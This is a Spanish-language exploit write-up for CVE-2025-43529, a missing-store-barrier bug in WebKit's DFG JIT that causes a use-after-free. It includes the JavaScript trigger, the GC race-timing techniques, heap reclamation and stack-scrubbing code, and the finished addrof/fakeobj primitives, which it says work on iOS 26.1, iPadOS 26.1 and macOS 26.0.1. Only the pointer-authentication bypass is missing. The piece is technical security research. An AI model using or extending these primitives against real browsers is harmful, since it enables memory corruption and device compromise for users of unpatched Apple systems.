
Exploit técnico para CVE-2025-43529, una vulnerabilidad del compilador DFG JIT de WebKit que permite use-after-free mediante la ausencia de store barrier en GC concurrente, con primitivas de explotación completas para iOS y macOS.
Apple recientemente lanzó iOS 26.2 y iPadOS 26.2, junto con un aviso de seguridad que incluye correcciones para vulnerabilidades de WebKit. Un error en el compilador JIT DFG (CVE-2025-43529) destacó, así que decidí investigarlo.
El compilador JIT reconoció correctamente que un nodo Phi (donde múltiples rutas de flujo de control se fusionan) había escapado, pero no logró notar que los nodos Upsilon del Phi también habían escapado. Debido a eso, la compilación DFG StoreBarrierInsertionPhase omitió insertar una Store Barrier, que es un mecanismo clave de seguridad de memoria. Como resultado, el GC concurrente puede perder objetos que debería haber escaneado, lo que puede llevar a un use-after-free.
Puedes encontrar el commit del parche aquí.
He confirmado que mi exploit funciona en iOS 26.1, iPadOS 26.1 y macOS Tahoe 26.0.1.
JSC utiliza un modelo de GC generacional para gestionar el heap de manera eficiente. En este modelo, la memoria se divide en Eden (nuevo espacio) y old space según la edad del objeto. Todos los objetos recién asignados comienzan en Eden. Cuando Eden se llena, se activa un GC de Eden y los objetos que sobreviven se promueven al old space. Limpiar los objetos del old space requiere un GC completo.
Para que el GC generacional funcione, el GC necesita clasificar los objetos como "ya escaneado", "necesita escaneo" o "necesita reescaneo".
En JSC, esto se rastrea usando el cellState de un objeto. (Todos los objetos administrados por el GC heredan de JSCell.)
StructureID m_structureID;
union {
uint32_t m_blob;
struct {
IndexingType m_indexingTypeAndMisc;
JSType m_type;
TypeInfo::InlineTypeFlags m_flags;
CellState m_cellState;
};
};
cellState es de 1 byte y puede ser uno de tres colores: Black (0), White (1) y Grey (2).
White significa un objeto que acaba de ser asignado en Eden. En el ciclo de GC actual, aún no ha sido marcado. Si permanece en este estado hasta el final del ciclo de GC, el objeto será recolectado.
Black significa que el GC ya ha terminado de marcar el objeto o está en proceso de marcarlo. Básicamente se trata como vivo, aunque el bit isMarked podría seguir apagado.
Grey significa un objeto que aún necesita ser escaneado. Más precisamente, originalmente era Black, pero fue capturado por la write barrier y agregado al remembered set. En otras palabras, sus referencias cambiaron, por lo que el GC necesita escanearlo de nuevo.
JSC también tiene GC concurrente, que permite que la aplicación se ejecute mientras se reclama memoria. Si el GC está marcando un objeto en segundo plano y la aplicación cambia el estado de ese objeto al mismo tiempo, puedes terminar con una condición de carrera.
Para evitar esto, necesitas garantías de orden. Como "escribir (store) A, luego leer (load) B" ocurriendo en ese orden exacto. Pero en ARM64, por razones de rendimiento, la CPU puede reordenar las operaciones de memoria. Eso significa que el GC podría leer el valor incorrecto.
Por lo tanto, JSC usa una dependency class para depender de las dependencias de datos de la CPU, o usa instrucciones especiales de ARM64 como STLR y LDAR para imponer el orden. STLR garantiza que las lecturas/escrituras anteriores se vuelvan visibles antes del store (un release store). LDAR garantiza que las lecturas/escrituras posteriores no puedan adelantarse al load (un acquire load). Cuando otro hilo lee un objeto, LDAR se empareja con STLR para que pueda observar de forma segura los datos más recientes.
DMB no es una única instrucción especial para un acceso. Es una barrera que fuerza el orden entre todos los accesos a memoria que la rodean. Garantiza que las operaciones de memoria anteriores al DMB se vuelvan visibles antes que las operaciones posteriores.
JSC tiene tres niveles de JIT en total. Para equilibrar la velocidad de ejecución contra el costo de compilación (memoria/tiempo), aplica optimizaciones y mueve el código al siguiente nivel según la frecuencia con la que se ejecuta.
Baseline JIT es el primer compilador JIT. Se centra en llegar rápido al código nativo con un bajo costo de compilación. DFG JIT es la siguiente etapa después de Baseline JIT, donde comienza la optimización seria.
En el nivel DFG, las instrucciones de JavaScript se convierten en un grafo compuesto por nodos IR de DFG. Usando la información de tipos que recopila, el compilador realiza especulación para eliminar operaciones innecesarias.
En el pipeline de optimización DFG de JSC, la StoreBarrierInsertionPhase inserta una StoreBarrier después de los nodos que escriben en memoria, como PutByOffset.
CVE-2025-43529 es una vulnerabilidad causada por no insertar una StoreBarrier cuando debería haberse insertado durante StoreBarrierInsertionPhase.
Una StoreBarrier es un nodo que actúa como una write barrier. Se usa para preservar la corrección en las carreras con el hilo de marcado.
El escenario de nodos DFG vulnerable descrito en el commit del parche se ve así:
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
Branch(BB#2, BB#3)
BB#2
...
d: Something
e: Upsilon(@d, ^f)
Jump(BB#3)
BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...
En BB#1, se crean dos objetos nuevos y la ejecución se bifurca a BB#2 o BB#3. BB#2 luego cae en BB#3. La parte interesante en BB#3 es el nodo Phi. Significa que f es o c o e, y esa elección está determinada por los nodos Upsilon anteriores. En BB#3, PutByOffset significa agregar un valor a la propiedad de un objeto.
let A = { p0: 0x41414141 };
function jitme(flag) {
// BB#1
let a = { p0: 13.37 };
let b = { p0: 0x42424242 };
let f;
if (flag) {
// BB#2
f = b;
} else {
// BB#3
f = 1.1; // d
}
// BB#4
A.p0 = f;
b.p0 = a;
}
Si usas la opción --dumpFTLDisassembly=true, puedes inspeccionar el ensamblador después de la compilación FTL.
// Starting BB#3
0 3 60: D@46:< 1:-> Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
1 3 60: D@53:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
2 3 60: D@57:<!0:-> ExitOK(MustGen, W:SideState, bc#50, ExitValid)
3 3 60: D@63:<!0:-> KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
4 3 60: D@60:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
5 3 60: D@67:<!0:-> KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
6 3 60: D@66:<!0:-> ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
7 3 60: D@69:<!0:-> FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
8 3 60: D@70:<!0:-> PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
// StoreBarrier for D@65(A)
9 3 60: D@78:<!0:-> FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
10 3 60: D@73:<!0:-> FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)
// D@36 : b
// D@26 : a
// b.p0 = a
11 3 60: D@75:<!0:-> PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
12 3 60: D@71:<!0:-> Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)
Debido al error, la StoreBarrier para b no se emitió.
El objeto A vive en el old space. En el primer PutByOffset (A.p0 = f), el objeto antiguo A termina apuntando al objeto nuevo f. Eso significa que el hilo de marcado puede alcanzar f a través de A en cualquier momento después de ese store. Por lo tanto, si luego mutas las propiedades de f, se debe insertar una StoreBarrier.
f (el nodo Phi) se trata como si escapara, pero las entradas reales que pueden fluir hacia f (a través de Upsilon: b y d) no se marcan como escapadas. Lógicamente, si f se almacena en A, entonces cualquier objeto que pueda convertirse en f, incluido b, también se almacena efectivamente en A. Pero debido al error, el compilador no se da cuenta de eso, por lo que todavía piensa que b es un valor "seguro" que no escapa y que el GC no necesitará escanear, y termina omitiendo la StoreBarrier.
Para desencadenar el use-after-free, tienes que ganar una carrera entre el hilo principal y el hilo de marcado. El escenario es el siguiente:
Marcado concurrente (hilo de marcado):
El hilo de marcado alcanza b recorriendo desde el objeto del old space A, y marca tanto A como b como black.
Actualización de referencia (hilo principal):
El hilo principal ejecuta b.p0 = a. En este punto, a es un objeto de Eden que aún no ha sido marcado, por lo que sigue siendo White. Esto crea un objeto Black que apunta a un objeto White.
Store barrier faltante:
Normalmente, b debería agregarse al remembered set. Pero debido a que la store barrier se omite por el error, el GC nunca se entera de que b ahora apunta a a. El ciclo de GC continúa y si nada más referencia a a, permanece White todo el tiempo y termina siendo liberado.
Fin del ciclo de GC:
Después de eso, leer b.p0 puede tocar memoria liberada, lo que puede llevar a un use-after-free.
La parte más difícil de aprovechar una condición de carrera es acertar la ventana de carrera. Los objetos A y b necesitan ser marcados dentro del mismo ciclo de GC. Para alinear la sincronización entre el hilo principal y el hilo de marcado, usé tres técnicas.
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;
let A = {
p0: 0x41414141,
p1: 1.1,
p2: 2.2,
};
arr[arr_index] = A;
Primero, para asegurar la ventana de tiempo hasta que comience el escaneo de A, necesitas hacer que el GC visite algunos hijos, hice arr grande y coloqué A en el último índice. Una cosa a tener en cuenta aquí es que A necesita vivir en el old space.
let forGC = [];
let a = new Date(1);
a[0] = 1.1;
for (let j = 0; j < allocCount; ++j) {
let arr = new ArrayBuffer(0x80_0000);
forGC.push(arr);
}
A.p2 = forGC;
Segundo, escanear A en el old space requiere disparar un GC completo. Para eso, necesitas asignar suficientes objetos grandes en cantidad suficiente. Para hacer que el disparo del GC sea bastante consistente, mantuve la referencia de los objetos asignados, para que no sean optimizados como "no usados", los almacené en A.p2.
A.p1 = f;
let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
for (let j = 0; j < k; ++j) {
v = i;
v = j;
}
}
b.p0 = v;
b.p1 = a;
Tercero, una vez que se dispara un GC completo, si logras retrasar el marcado de A usando un array lo suficientemente grande, el hilo principal aún necesita que el marcado de A termine justo antes de agregar una referencia a a en b. Para forzar esa sincronización, agregué un bucle grande. Y para evitar que el bucle sea optimizado, almacené el valor final en b.p0.
Después de que termina un ciclo de GC, puedes observar que cuando un MarkedBlock que contiene objetos liberados se usa de nuevo, los objetos de ese bloque que no fueron marcados se barren. En JSC, el mecanismo de barrido hace que todo o parte de un MarkedBlock esté disponible para asignaciones posteriores. La dirección del objeto liberado solo se vuelve reutilizable por el asignador después de que esto ocurre.
reclaimed = false;
for (let i = 0; i < 1e6; ++i) {
let arr = [13.37, 2.2, 3.3, 4.4, noCow];
ref.push(arr);
if (freed_object[0] === 13.37) {
reclaimed = true;
break;
}
}
if (!reclaimed) {
print('failed');
}
Después de la carrera, el bucle asigna repetidamente arrays de longitud 5 para fomentar la recuperación del butterfly barrido. Si el butterfly se reasigna, puedes detectarlo leyendo las propiedades indexadas de un objeto que comparte la misma dirección de butterfly.
Internamente, crear arr llama a JSC::constructArrayBuffer, lo que dispara MarkedBlock::Handle::specializedSweep. Aquí es donde se construye inicialmente la FreeList para el bloque que contiene el butterfly.
void MarkedBlock::Handle::specializedSweep(...)
{
// ...
if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
// ...
if (sweepMode == SweepToFreeList) {
if (scribbleMode == Scribble) [[unlikely]]
scribble(payloadBegin, payloadEnd - payloadBegin);
FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
interval->makeLast(payloadEnd - payloadBegin, secret);
freeList->initialize(interval, secret, payloadEnd - payloadBegin);
}
return;
}
// ...
}
Con el PoC, si el barrido se ejecuta en el bloque que contiene el butterfly después de la carrera, emptyMode, marksMode y newlyAllocatedMode se convierten en IsEmpty, MarksStale y DoesNotHaveNewlyAllocated, respectivamente, por lo que la ejecución entra en la sentencia if anterior.
Con un barrido normal necesitarías construir la free list en fragmentos, pero aquí todo el bloque está vacío, por lo que la free list se inicializa como un único intervalo grande que cubre todo el bloque. La estructura freeList es muy simple. Básicamente solo rastrea el inicio y el final del chunk y su tamaño.
En este punto, la freeList contiene un bloque completo que incluye el puntero al butterfly.
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
if (m_intervalStart < m_intervalEnd) [[likely]] {
char* result = m_intervalStart;
m_intervalStart += cellSize;
return std::bit_cast<HeapCell*>(result);
}
// ...
}
Las asignaciones desde una freeList son manejadas por FreeList::allocateWithCellSize. Si m_intervalStart y m_intervalEnd no son iguales, el asignador trata el intervalo como si tuviera celdas libres disponibles, devuelve el puntero de inicio actual como la dirección para el nuevo objeto, y luego avanza el puntero de inicio en cellSize.
Esta función se llama desde JSC::constructArray, y se ejecuta repetidamente dentro del bucle. Eventualmente, un array recién asignado termina usando la dirección de butterfly liberada para su butterfly.
Hay varias razones por las que un exploit puede fallar, pero una mejora fácil es deshacerse del puntero al butterfly que queda en la pila.
Durante la asignación del butterfly, el puntero asignado se escribe en la pila repetidamente. Si ese puntero aún queda atrás incluso después de llamar a la función que dispara el use-after-free, el escaneo conservador de la pila por parte del GC puede detectarlo y marcarlo, lo que evita que sea liberado y termina "protegiéndolo" como normal.
En el PoC, esto se abordó llamando a una función que crea un gran número de marcos de pila.
function recursive(n) {
if (n === 0)
return;
n = n | 0;
recursive(n - 1);
}
recursive(10000);
Al llamar a la función recursiva, el hilo principal llena su espacio de pila con marcos de función, sobrescribiendo todas las direcciones de butterfly sobrantes con otros valores. Después de eso, es menos probable que el puntero al butterfly se encuentre durante el escaneo de la pila, lo que aumenta las posibilidades de que el GC no escanee ese butterfly.
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;
function addrof(obj) {
boxed_arr[0] = obj;
return ftoi(unboxed_arr[0]);
}
function fakeobj(addr) {
unboxed_arr[0] = itof(addr);
return boxed_arr[0];
}
Con el use-after-free, puedes tener el mismo butterfly en el objeto liberado a y también en el array recién asignado. Luego, al hacer que los dos objetos usen diferentes IndexingTypes, puedes acceder a los valores de este único butterfly tanto en Double como en Contiguous. Eso lleva directamente a las clásicas primitivas addrof y fakeobj.
Si has logrado construir las primitivas addrof/fakeobj, puedes construir primitivas de lectura/escritura fácilmente. Pero para obtener ejecución de código, todavía necesitas bypassear la autenticación de punteros. Esta parte queda como el desafío.